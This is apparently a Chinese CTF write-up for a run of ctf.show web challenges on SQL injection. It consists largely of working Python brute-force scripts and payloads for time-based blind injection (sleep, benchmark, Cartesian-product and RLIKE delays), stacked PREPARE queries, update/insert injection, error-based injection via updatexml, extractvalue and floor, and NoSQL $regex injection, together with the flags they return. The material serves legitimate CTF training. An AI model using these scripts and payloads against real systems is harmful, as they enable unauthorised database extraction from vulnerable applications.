url = r'http://6ec95228-b921-42dc-ba05-78d8a7decd79.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flagx"' inside = 'select group_concat(flaga) from ctfshow_flagx'
payload = 'if(substr(({}),{},1)=("{}"),sleep(1),1)' res = '' last = ' '
for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, j), 'debug': 0 } # 看了Y4tacker佬的wp,看到这种写法,觉得太妙了。用try来微调 try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() print(res)
url = r'http://8f775fc1-f6d1-431e-9ac4-93ab0f082a11.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flagxc"' inside = 'select group_concat(flagaa) from ctfshow_flagxc'
payload = "1' or if(substr(({}),{},1)=('{}'),sleep(1),1)#" res = '' last = ' '
for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, j), 'debug': 0 } # 看了Y4tacker佬的wp,看到这种写法,觉得太妙了。用try来微调 try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() print(res)
url = r'http://b78d98e8-2199-4723-bf89-18fed148eb42.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "abcdefghijklmnopqrstuvwxyz0123456789{-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flagxccb"' inside = 'substr((select group_concat(flagaabc) from ctfshow_flagxccb),9,36)'
payload = "1) or if(substr(({}),{},1)=('{}'),benchmark(2500000,sha(1)),1)#" res = '' last = ' '
for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, j), 'debug': 0 } # 看了Y4tacker佬的wp,看到这种写法,觉得太妙了。用try来微调 try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() time.sleep(1) print(res)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row inset (2.07 sec) mysql> select from ctf_test where user='1'and1=1and (SELECT count() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row inset (2.08 sec)
mysql> select from ctf_test where user='1'and1=0and (SELECT count() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); Empty set (0.01 sec)
利用and短路运算规则进行时间盲注。
GET_LOCK盲注
get_lock函数官方文档中的介绍
可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。 此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入 SESSION A
mysql> select from flag where flag='1'andif(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+b',1); +------+ | flag | +------+ | 1 | +------+ 1 row inset (0.00 sec)
mysql> select from flag where flag='1'andif(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+cd',1); Empty set (3.83 sec)
web218
笛卡尔乘积
benchmark也被禁用了,用笛卡尔积运算来达到延迟的目的 主要的语句是:
1
SELECT count(*) FROM information_schema.columns A, information_schema.columns B
url = r'http://f277bdb1-e417-43a9-a241-8a77c0cdaeff.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "abcdefghijklmnopqrstuvwxyz0123456789_{-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flagxc"' inside = 'substr((select group_concat(flagaac) from ctfshow_flagxc),9,36)'
payload = "1) or if(substr(({}),{},1)=('{}'),(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)#" res = '' last = ' '
for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, j), 'debug': 0 } # 看了Y4tacker佬的wp,看到这种写法,觉得太妙了。用try来微调 try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() time.sleep(1) print(res)
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/7/31 # blog: gylq.gitee.io import requests import time bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'" url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)# #求表payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#" #payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#" payload = "1) and if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"
n = 0
for i inrange(0, 666): for j instr: data = { "ip": payload.format(i,j,bypass), "debug": '0' } start = time.time() res = requests.post(url, data) end = time.time() if end - start > 0.4and end - start < 1: flag += j n += 1 print('[*] 开始盲注第{}位'.format(n)) print(flag) if j == "}": print('[*] flag is {}'.format(flag)) exit() break
web219
1 2 3 4 5 6
//查询语句 where id = ($id); //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike/i',$str); }
url = r'http://6c19b909-06f4-412b-ba28-581287b784fc.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "_abcdefghijklmnopqrstuvwxyz0123456789{-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flagxca"' inside = 'substr((select group_concat(flagaabc) from ctfshow_flagxca),9,36)'
payload = "1) or if(substr(({}),{},1)=('{}'),(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)#" res = '' last = ' '
for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, j), 'debug': 0 } # 看了Y4tacker佬的wp,看到这种写法,觉得太妙了。用try来微调 try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() time.sleep(1) print(res)
url = r'http://2db91241-b5ab-4eec-9035-df2df4f18a46.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str = "_abcdefghijklmnopqrstuvwxyz0123456789{-} " # inside = 'database()' # inside = 'select table_name from information_schema.tables where table_schema = database() limit 0,1' # inside = 'select column_name from information_schema.columns where table_name = "ctfshow_flagxcac" limit 1,1' inside = 'select flagaabcc from ctfshow_flagxcac'
payload = "1) or if(left(({}),{})=('{}'),(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)#" res = '' last = ' ' for i inrange(1, 100): for j instr: data = { 'ip': payload.format(inside, i, res + j), 'debug': 0 } try: r = requests.post(url, data=data, timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() time.sleep(1) print(res)
# -- coding:UTF-8 -- # Author:孤桜懶契 # Date:2021/8/1 # blog: gylq.gitee.io import requests import time bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f" url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = "" #1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)# #payload = "1) and if((database())regexp('^{}'),({}),0)#" #payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#" #payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#" payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"
n = 0
for i inrange(0, 666): for j instr: data = { "ip": payload.format(flag + j,bypass), "debug": '0' } start = time.time() res = requests.post(url, data) end = time.time() if end - start > 3and end - start < 5: flag += j n += 1 print('[*] 开始盲注第{}位'.format(n)) print(flag) if j == "}": print('[*] flag is {}'.format(flag)) exit() break
url = r'http://0750fdff-bead-49bc-b6cb-501f23e1457d.challenge.ctf.show/api/?u=' flag_pre = 'ctfshow{' str = "_abcdefghijklmnopqrstuvwxyz0123456789,{-} " # inside = 'database()' # inside = 'select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside = 'select group_concat(column_name) from information_schema.columns where table_name = "ctfshow_flaga"' inside = 'substr((select group_concat(flagaabc) from ctfshow_flaga),1,48)' payload = "if(substr(({}),{},1)=('{}'),sleep(0.05),1)" res = '' last = ' '
for i inrange(1, 100): for j instr: try: r = requests.post(url=url + payload.format(inside, i, j), timeout=1) except Exception as e: last = res res += j break if last == res.replace(' ',''): exit() print(res)
defgenerateNum(num): res = 'true' if num == 1: return res else: for i inrange(num-1): res += "+true" return res
url = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
#************************************************************************************************************************************************************* #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'" #--------查flag sql= "select flagasabc from ctfshow_flagas" #************************************************************************************************************************************************************* payload = "if(ascii(substr(({}),{},true))=({}),username,false)"
#计数 n = 0
for i inrange(1, 666): for j inrange(32,126): result_num=generateNum(i) result=generateNum(j) params = { 'u' : payload.format(sql,result_num,result) }
res = requests.get(url = url, params = params) if"userAUTO"in res.text: flag += chr(j) n += 1 print('[*] 开始盲注第{}位'.format(n)) print(flag) if j == "}": print('[*] flag is {}'.format(flag)) exit() break #ctfshow{728dd1b0-7547-401d-b358-2d2207f3d13c}
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}
PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; ET @a = 3; SET @b = 4; EXECUTE stmt1 USING @a, @b;
变量定义预处理:
1 2 3 4 5 6
SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; PREPARE stmt2 FROM @s; SET @c = 6; ET @d = 8; EXECUTE stmt2 USING @c, @d; DEALLOCATE PREPARE stmt2;
select table_name from information_schema.tables where table_schema=database() ?username=ctf';PREPARE aaa from 0x73656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE aaa;--+
查列
1 2
select column_name from information_schema.columns where table_name='ctfsh_ow_flagas' ?username=ctf';PREPARE aaa from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c6167617327;EXECUTE aaa;--+
查内容
1 2
select flagasb from ctfsh_ow_flagas ?username=ctf';PREPARE aaa from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;EXECUTE aaa;--+
password=1',username=database() where 1=1#&username=1
运行之后返回查看页面发现被更新了:
然后就依次插入查询语句:
1 2
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1 banlist,ctfshow_user,flaga
1 2
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1 id,flagas,info
1 2
password=1',username=(select flagas from flaga) where 1=1#&username=1 ctfshow{bda6ff95-49e5-4832-98ef-5f2156f74200}
web232
这个遇上一个的差别就是多个md5的括号需要闭合。
1 2
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1 banlist,ctfshow_user,flagaa
1 2
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa') where 1=1#&username=1 id,flagass,info
1 2
password=1'),username=(select flagass from flagaa) where 1=1#&username=1 ctfshow{d980485f-5f60-4558-a646-0c538bc3b9a1}
web233
盲注python。
1 2 3 4
//分页查询 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';"; //无过滤
url = r'http://9a69458e-791c-4ebd-abe9-45cc89eaf042.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}" # payload = "ctfshow'and+if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#" # payload = "ctfshow'and+if(mid((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1)=('{}'),1,0)#" payload = "ctfshow'and+if(mid((select flagass233 from flag233333),{},1)=('{}'),1,0)#" res = ''
for i in range(1,100): for j in str1: data = { 'username': payload.format(i, j), 'password': str(random.random()) } r = requests.post(url, data=data) # print(data) # print(r.json()['msg']) if r'成功' in r.json()['msg']: res += j print(res) break if j == '}': exit()
web234
单引号被过滤了,这里用了一个\来逃逸。 就比如原语句是:
1
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
插入之后的语句是:
1
$sql = "update ctfshow_user set pass = '\' where username = 'username';";
然后pass张的内容就是' where username = 可能这么讲会听不太懂,就是将'当作转义的’ 然后和后面的单引号闭合: update ctfshow_user set pass = '\' where username = 'username'; 也就变为了: update ctfshow_user set pass = '' where username = 'username' 测试payload:
1 2
password=\&username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())--+ banlist,ctfshow_user,ctfshow_user,flag23a
这里过滤掉了单引号,但是不闭合就查询不到,那就用十六进制来代替一下:
1 2
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)--+ id,flagass23s3,info
1 2
password=\&username=,username=(select flagass23s3 from flag23a)--+ ctfshow{a4682f2f-3c53-464d-8733-7d88487cb1f5}
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())--+ banlist,ctfshow_user,flag23a1
1 2
select b from (select 1,2as b,3 union select * from flag23a1 limit 1,1)a ctfshow{9970dea2-cadb-42d7-8c3b-a54b2ea469d1}
或者用:
1 2
username=,username=(select `2` from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\ ctfshow{9970dea2-cadb-42d7-8c3b-a54b2ea469d1}
无列名这种特殊注入都可以。
web236
还过滤掉了flag这次 但没啥用 绕过flag的策略有很多。
1 2
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())--+ banlist,ctfshow_user,flaga
1 2 3
password=\&username=,username=(select to_base64(b) from (select1,2as b,3unionselect*from flaga limit 1,1)a)--+ Y3Rmc2hvd3tkOTQyOTcxNC00MTA2LTRkMjItYjg0YS01ODFiOTIzOWI2MGJ9 ctfshow{d9429714-4106-4d22-b84a-581b9239b60b}
web237
insert
记得抓包,不是原来的那个api接口了,而是:/api/insert.php 其余的都相同。
1 2
username=7',(select group_concat(table_name) from information_schema.tables where table_schema=database()));--+&password=2 banlist,ctfshow_user,flag
1 2
username=7',(select group_concat(column_name) from information_schema.columns where table_name='flag'));--+&password=2 id,flagass23s3,info
1 2
username=6',(select flagass23s3 from flag));--+&password=2 ctfshow{5efc59c3-4a93-4d07-a546-5a702b6c57c1}
url = "http://a2483863-8c01-4755-a5b3-decf561e6728.challenge.ctf.show/api/insert.php" name = "flag" res ='' for a in'ab': for b in'ab': for c in'ab': for d in'ab': for e in'ab': res = name + a + b + c + d + e data = { 'username': f"{res}',(select(flag)from({res})))#", 'password': 'a' } print(data) r = requests.post(url, data=data)
url = r'http://b2100936-f04f-42cf-a179-f6bb35e08972.challenge.ctf.show/api/delete.php' flag_pre ='ctfshow{' str = "_abcdefghijklmnopqrstuvwxyz0123456789{-,} " # inside ='database()' # inside ='select group_concat(table_name) from information_schema.tables where table_schema = database()' # inside ='select group_concat(column_name) from information_schema.columns where table_name = "flag"' inside ='substr((select group_concat(flag) from flag),9,36)'
payload = "if(substr(({}),{},1)='{}',sleep(0.05),0)" res ='' last=' '
for i in trange(1, 37): for j in str: data = { 'id': payload.format(inside, i, j), } try: # print(data) r = requests.post(url, data=data, timeout=1) except Exception as e: last= res res += j # print(res) break if last== res.replace(' ',''): exit() time.sleep(1) print(res)
网络的好坏决定着你在这个途中是否会出现错误。尽量减少位数的盲注,知道的前缀就别注了。
web242
file
1
select*from ctfshow_user into outfile '/var/www/html/dump/{$filename}';
//备份表 $sql= "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; //无过滤
用updatexml报错注入
1 2
/api/?id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+ banlist,ctfshow_flag,ctfshow_use
1 2
/?id=' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) -- A id,flag,info
1 2 3
flag太长需要查两遍: api/?id=' or updatexml(1,concat(1,(select mid(flag,1,30) from ctfshow_flag)),1) --+ api/?id='or updatexml(1,concat(1,(select mid(flag,20,30) from ctfshow_flag)),1) --+
api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)); --+ banlist,ctfshow_flagsa,ctfshow_
1 2
api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e)); --+ id,flag1,info
1 2 3 4
api/?id=1' or extractvalue(1,concat(0x7e,(select right(flag1,45) from ctfshow_flagsa),0x7e)); --+ ctfshow{1eaee386-fce7-49d8-86fd api/?id=1'or extractvalue(1,concat(0x7e,(selectright(flag1,30) from ctfshow_flagsa),0x7e)); --+ 6-fce7-49d8-86fd-15c29674ed78}
//查表名 /?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a-- A //查列名 /?id=1'unionselect1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables groupby a-- A //查数据 /?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.tables group by a-- A
需要二次上传才会出现结果
web247
ceil代替floor
1
$sql= "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
使用ceil()(向上取整)代替floor()。当然也可以使用round(): ROUND(X) – 表示将值 X 四舍五入为整数,无小数位 ROUND(X,D) – 表示将值 X 四舍五入为小数点后 D 位的数值,D为小数点后小数位数。若要保留 X 值小数点左边的 D 位,可将 D 设为负值。 最后的payload是:
1
/?id=1' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa),0x7e,ceil(rand()*2))a from information_schema.tables group by a-- A
url = "http://a2efa0f0-f634-4621-bd4a-e96a4f1b0196.challenge.ctf.show:8080/api/" str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,," flag = ""
payload_user = "flag.*" payload_pass = "^{}.*"
n =0
for i inrange(1, 666): for j in str: data = { 'username[$regex]':payload_user, 'password[$regex]':payload_pass.format(flag+j) } res = requests.post(url = url, data=data) if r"\u767b\u9646\u6210\u529f" in res.text: flag += j n +=1 print('[*] 开始盲注第{}位'.format(n)) print(flag) if j == "}": print('[*] flag is {}'.format(flag)) exit() break